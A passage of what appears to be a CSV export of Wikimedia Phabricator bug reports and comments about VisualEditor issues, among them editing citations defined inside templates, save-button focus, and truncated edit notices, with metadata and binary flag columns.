+In the old editor, I would simply use TAB to reach the edit summary, type my edit summary and press ENTER to activate the ""Save page"" button and save. If I wanted to mark the edit minor, then I could type my edit summary, press TAB, SPACE, and then ENTER to ""Save page"".
+
+I can see that the new box for entering an edit summary allows newlines to be entered. I am not sure this is a good idea, because I just used a WSYIWYG editor and now ""What I see"" - well-formatted paragraphs describing my edit - is not going to be ""what I get"" - everything smashed on one line in the article history. But that is perhaps grist for another bug mill.
+
+It seems that the ""Save page"" button never receives caret focus if I use TAB to try to get there. This would seem to have accessibility ramifications.",,,1373480495,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+241604,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",I think taking over ctrl-s/⌘-s which is already used by every browser for a different task (local save of rendered HTML) is a bit rude; I'd suggest just implementing the same keyboard shortcut.,,,1373230813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+52896,VisualEditor: Support editing citations defined within a template,"For example, look at https://en.wikipedia.org/w/index.php?title=Peach_Springs_Trading_Post&oldid=563257259&veaction=edit.
+
+Citation [1] is defined inside the infobox template. It is then reused at the end of the first paragraph, but when you click the [1] there, you get an inspector with the message: ""This reference is defined in a template or generated block and for now can be only edited in source mode.""
+
+This also comes up when citations are defined within a template like `{{reflist}}`, as at https://en.wikipedia.org/w/index.php?title=Helminthopsis&oldid=592365854.
+
+**See Also**:
+T53289",Medium,50.0,1373224920,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yhjup2iu6lr4ysgs743l,task_description,open,True,c1,3,True,False,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+2250462,VisualEditor: Support editing citations defined within a template,"@Pginer-WMF That seems like a different problem. The bug here is that editing //references defined within a template// doesn't work, and VisualEditor recognizes this and mostly prevents them from being messed up. The other bug is confusing, but it seems that ContentTranslation has some issues with //templates used inside references//, and it //doesn't// recognize this situation and messes up the markup as a result.",,,1703172513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,546,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0
+2247817,VisualEditor: Support editing citations defined within a template,I also received complaints from editors at Russian Wikipedia that this behavior greatly interferes with their work.,,,1702660838,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,545,,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+2246875,VisualEditor: Support editing citations defined within a template,"Sharing a recent comment from a user on a ticket where this issue manifests in Content Translation since it uses the Visual Editor editing surface:
+
+>>! In T213277#9403536, @Framawiki wrote:
+> This bug is really the worst of the ones opened on #contenttranslation in my opinion, given the time spent by all the volunteer contributors who have to go back behind a translation to try and reformat the translations that have been substituted. It literally freezes the citation in a version that can't be edited later, except if somebody spend some time to fill a template. Not good to have such non-editable stuff in our wikis !
+> 
+> It still happens regularly in 2023, I have a script that at least removes unnecessary categories added when substituting citation templates. Check out ""untranslated category"" (""catégorie non traduite"") in my bot's list of [[ https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial:Contributions&end=&namespace=0&start=&tagfilter=&target=Framabot&offset=&limit=100 | recent contributions ]], ie [[ https://fr.wikipedia.org/w/index.php?title=Rowland_Prothero&diff=prev&oldid=210406768 ]]. I can just remove the category shown in red in the article, there is no automatic way to reverse the template substitution (except spend some days with regexes for low success..)
+",,,1702544238,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,545,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1
+1715428,VisualEditor: Support editing citations defined within a template,"This is discussed in hewiki village pump: https://he.wikipedia.org/w/index.php?title=%D7%95%D7%99%D7%A7%D7%99%D7%A4%D7%93%D7%99%D7%94:%D7%9E%D7%96%D7%A0%D7%95%D7%9F&oldid=31292360#%D7%94%D7%A2%D7%95%D7%A8%D7%9A_%D7%94%D7%97%D7%96%D7%95%D7%AA%D7%99_%D7%9C%D7%90_%D7%A2%D7%95%D7%91%D7%93_%D7%A2%D7%9D_{{%D7%94%D7%A2%D7%A8%D7%94%7C...}}
+
+To summarize the discussion there:
+* (background) hewiki is written in Hebrew, and Hebrew is right to left language. Using tags such as <ref> is not behaving nicely to the source editor as ""ref"" is all latin characters that force LTR, and there is no support translated tags ( T30980 ) 
+* Editors who use source editor commonly replace <ref> to template {{הערה}} which is basically {{#tag:ref}}. Editors who use VisualEditor complain this breaks reference editing, because VE lacks proper support for references defined in templates",,,1619846278,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,408,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1
+1379439,VisualEditor: Support editing citations defined within a template,"Based on [[ https://www.mediawiki.org/w/index.php?title=Topic:V8rwlqoii9ylxtl2&topic_showPostId=v9x2up7pdri3gj9e&fromnotif=1#flow-post-v9x2up7pdri3gj9e | this conversation ]] with a Content translation user, [[ https://en.wikipedia.org/wiki/Outreachy | Outreachy ]] is another good example article for this kind of issue, where most references are defined inside a ""reflist"" template.",,,1572174420,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,329,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1
+1291088,VisualEditor: Support editing citations defined within a template,"To slightly restate the suggestion, a good starting goal would be for the content of a reference to be editable in cases where VE is able to identify the reference and open the Reference dialog. This essentially requires being able to figure out how to edit the element that now ""only can be editing in source mode"". ",,,1559320456,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,308,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+1290928,VisualEditor: Support editing citations defined within a template,"This ticket focuses on improving the support for references defined inside any template.
+References defined inside the [[ https://en.wikipedia.org/wiki/Template:Reflist | Reflist template ]] seems one of the most prominent instances of the problem. So maybe it is worth focusing on fixing this particular case if that is simpler than finding a generic solution that works for all kinds of templates.
+
+Based on [[ https://ca.wikipedia.org/w/index.php?title=Tema:Uwf7s3n1s8391x6a&topic_showPostId=v0movrdn2phc2ww8#flow-post-v0movrdn2phc2ww8 | reports from en editor ]] about a problematic translation I found [[ https://en.wikipedia.org/wiki/The_Deer%27s_Cry_(P%C3%A4rt) | The Deer's Cry (Pärt) ]] a good example article where most references cannot be edited with Visual Editor because the are defined inside the list of references:
+
+{F29284489, size=full}",,,1559307018,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,308,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+1184469,VisualEditor: Support editing citations defined within a template,"This limitation has been reported several times in the context of [[ https://www.mediawiki.org/wiki/Content_translation | Content translation ]]. In this case, the main limitation is that Content Translation cannot transfer those references from the source article into the translation, when adding a paragraph with references to translate. So more than being able to edit existing references (which would be great, but may be less common) here the issue is that these references are gone.
+
+In addition, Content translation only supports the visual mode, users cannot switch to wikitext mode as a workaround there. The specific Content translation issue is captured in {T209266} for more details. ",,,1543310095,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,282,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,1
+577376,VisualEditor: Support editing citations defined within a template,"Why isn't this given a higher priority, and/or assigned to someone? This issue affects every article that has an infobox with one or more citations, and that's a VERY large number, and continually increasing - and a high percentage of the most viewed articles DO have infoboxes.
+
+More importantly, this isn't just an issue of problems with reuse: having a citation/footnote in a template such as an infobox also disrupts the numbering system for footnotes - the numbering that what appears in the body of an article, when in VE editing mode, //doesn't match //the list of footnotes shown in VE editing mode. That's obviously a source of confusion to those doing editing; again, this certainly affects thousands of articles, and quite probably tens of thousands. 
+
+We //want// as much information as possible in Wikipedia articles to have inline supporting sources, and infoboxes are extremely popular (and helpful to readers). But the combination - citations inside templates such as infoboxes - is currently disruptive when editing using VE. That should be fixed.",,,1449854974,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,127,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0
+241578,VisualEditor: Support editing citations defined within a template,"(In reply to John Broughton from comment #1)
+> This should NOT be a low priority. It's quite common for an article to have
+> ALL references inside a template - see, for example,
+> https://en.wikipedia.org/wiki/Helminthopsis . 
+> 
+> At the moment, VE is able to figure out that the citation information is
+> elsewhere - a tooltip appears that says ""This reference is defined in a
+> template or other generated block, and for now can be only edited in source
+> mode."" If VE can figure that out
+
+We figure that out because we can tell that there's no actual reference on the page, so presumably it was made with a hack.
+
+>, then it should be able to perform the following three additional steps:
+
+This doesn't actually follow.
+
+
+> * Check if the information is in the {{reflist}} template (match the ""ref
+> name="" parameter in the body of the text to a ref name parameter within the
+> reflist template)
+
+No. That would require making up a list of hack templates that each wiki uses, which is a WONTFIX if ever there was one. See instead bug 51260 which will mean we can get rid of this class of template hacks once and for all.
+ 
+> * If a match is found, pull the relevant citation information from the
+> reflist template, allowing the user to edit it
+
+Again, this would require a list of hack extraction approaches for each of the hack templates. WONTFIX. Sorry, but these templates are ghastly abominations and should have been strangled at birth.
+
+> * After the edit is finished, put the (modified) citation information back
+> into the reflist template
+
+That requires magic psychic modification of wikitext. Yet again, WONTFIX. Sorry.
+
+
+> (Side note: for edit conflict purposes, this is an edit of the section where
+> the reflist template is located, not where the footnote label exists within
+> the body of the text).
+
+You are mistaken about how edit conflict detection works. Sections don't come into it. See endless suggestions and bugs passim where this myth has been disproven.
+
+> If VE is NOT modified to allow users to edit such references/citations,
+> users are going to be (randomly) frustrated because they can't edit any
+> footnotes in some articles using VE (see above) and because in some articles
+> (https://en.wikipedia.org/wiki/Pope_Francis , for example), there are
+> occasional footnotes that aren't editable in VE.
+
+Or, alternatively, we could dump the stupid templates that make it harder for users even using wikitext to know what on Earth is happening, and instead use the wikitext the way it was designed, without resorting to hacks of doom?",,,1402685083,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,49,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+241573,VisualEditor: Support editing citations defined within a template,"This should NOT be a low priority. It's quite common for an article to have ALL references inside a template - see, for example, https://en.wikipedia.org/wiki/Helminthopsis . 
+
+At the moment, VE is able to figure out that the citation information is elsewhere - a tooltip appears that says ""This reference is defined in a template or other generated block, and for now can be only edited in source mode."" If VE can figure that out, then it should be able to perform the following three additional steps:
+
+* Check if the information is in the {{reflist}} template (match the ""ref name="" parameter in the body of the text to a ref name parameter within the reflist template)
+
+* If a match is found, pull the relevant citation information from the reflist template, allowing the user to edit it
+
+* After the edit is finished, put the (modified) citation information back into the reflist template
+
+(Side note: for edit conflict purposes, this is an edit of the section where the reflist template is located, not where the footnote label exists within the body of the text).
+
+If VE is NOT modified to allow users to edit such references/citations, users are going to be (randomly) frustrated because they can't edit any footnotes in some articles using VE (see above) and because in some articles (https://en.wikipedia.org/wiki/Pope_Francis , for example), there are occasional footnotes that aren't editable in VE.",,,1402684730,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,49,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+52895,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"This happens with the Link annotation, but also happened to me with my Language annotation prototype when I play with it.
+
+Steps to view the problem:
+1. Go to some link in the text, put the cursor on it.
+2. The 'link' button pops up, recognizing the annotation, and if you click it, the full annotation fragment is selected (expected behavior) and the input widget appears.
+3. Without closing the input widget, click on another link in the text. The widget moves to the new location with the proper data, but the text of that fragment isn't selected, and it's a bit odd to edit. 
+
+I think a better behavior may be to close the widget and have the icon pop up on the new location, as if I clicked an unrelated non-link text and then again selected a link.
+
+(I hope this makes sense, I can post some screenshots if needed)
+
+I use Firefox 22.0 under Ubuntu.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1373224800,1373986645.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+241526,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,Looks like the fix works. Can't reproduce this anymore on latest master.,,,1373981883,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+241518,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"Change 72865 merged by jenkins-bot:
+Reset context menu on selection change while inspector is open
+
+https://gerrit.wikimedia.org/r/72865",,,1373934858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241509,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"Change 72865 had a related patch set uploaded by Jforrester:
+[WIP] Reset context menu on selection change while inspector is open
+
+https://gerrit.wikimedia.org/r/72865",,,1373416527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+52885,VisualEditor: Long editnotices are truncated with no way to scroll,"[[Jyllands-Posten Muhammad cartoons controversy]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52667",Medium,50.0,1373199360,1397067646.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+240894,VisualEditor: Long editnotices are truncated with no way to scroll,This was fixed last week.,,,1397067646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,40,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+240889,VisualEditor: Long editnotices are truncated with no way to scroll,*** Bug 62408 has been marked as a duplicate of this bug. ***,,,1397067550,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,40,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240882,VisualEditor: Long editnotices are truncated with no way to scroll,"In terms of combinations, I think we need to plan to support the display of at least three edit notices.  It is not at all unusual for articles at the English Wikipedia to display both the standard BLP notice (https://en.wikipedia.org/wiki/Template:BLP_editintro) and a semi-protection notice, and being able to view three means that only one more item could be included.
+
+https://en.wikipedia.org/w/index.php?title=Barack_Obama&action=edit&editintro=Template:BLP_editintro shows three items.  Some of them have much longer notices.  https://en.wikipedia.org/w/index.php?title=Cat&action=edit shows only two, but one has some fairly long collapsed text (which VisualEditor does not collapse).",,,1384895522,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,20,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1
+240876,VisualEditor: Long editnotices are truncated with no way to scroll,"It's not just single long edit notices, combinations of messages can also exceed screen height, e.g. at [[Caucasian Albania]]. The ArbCom sanctions notice is only about 5 lines in the source view, which has vastly greater horizontal space, likewise the semi-protection notice is designed for a horizontal layout.
+
+Is there a reason why the VE notices must be vertical? Could they not horizontally expand to fit the messages? Doing so would reduce (but not remove) the need for bug 52471",,,1382972121,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+240871,VisualEditor: Long editnotices are truncated with no way to scroll,"In general, long edit notices misunderstand the concept of a brief message for users - but yes, we should fix this.",,,1377829536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+240866,VisualEditor: Long editnotices are truncated with no way to scroll,"Comments from bug 52602
+
+""Edit notices should scroll when they are larger than the height of the window.
+Presently the bottom of the message is unreadable. The screenshot attached
+shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high
+window (which is what I normally use for browsing).""
+
+The screenshot is attachment 13067
+
+""A couple of users have reported this also happening with ""the notice
+specifically for VE"", which I presume is the beta welcome dialog. They are
+unable to scroll through and read it all.""",,,1377446787,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+240860,VisualEditor: Long editnotices are truncated with no way to scroll,*** Bug 52602 has been marked as a duplicate of this bug. ***,,,1377446690,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52878,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"If you click in the link
+https://en.wikipedia.org/wiki/Math?veaction=edit
+you will be redirected to [[Mathematics]] and the VisualEditor will load on that page instead of in the redirect page [[Math]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/Math?veaction=edit
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54921
+https://bugzilla.wikimedia.org/show_bug.cgi?id=25470",Medium,50.0,1373160600,1392349767.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hkpifvkdgtnwuojek3uj,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+240401,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95213 merged by jenkins-bot:
+Let users set #REDIRECT and __STATICREDIRECT__ status
+
+https://gerrit.wikimedia.org/r/95213",,,1392349574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240397,VisualEditor: Remove the disablement of VisualEditor for redirect pages,*** Bug 60425 has been marked as a duplicate of this bug. ***,,,1390695336,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240394,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95213 had a related patch set uploaded by Jforrester:
+[WIP] Let users set #REDIRECT
+
+https://gerrit.wikimedia.org/r/95213",,,1384373833,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
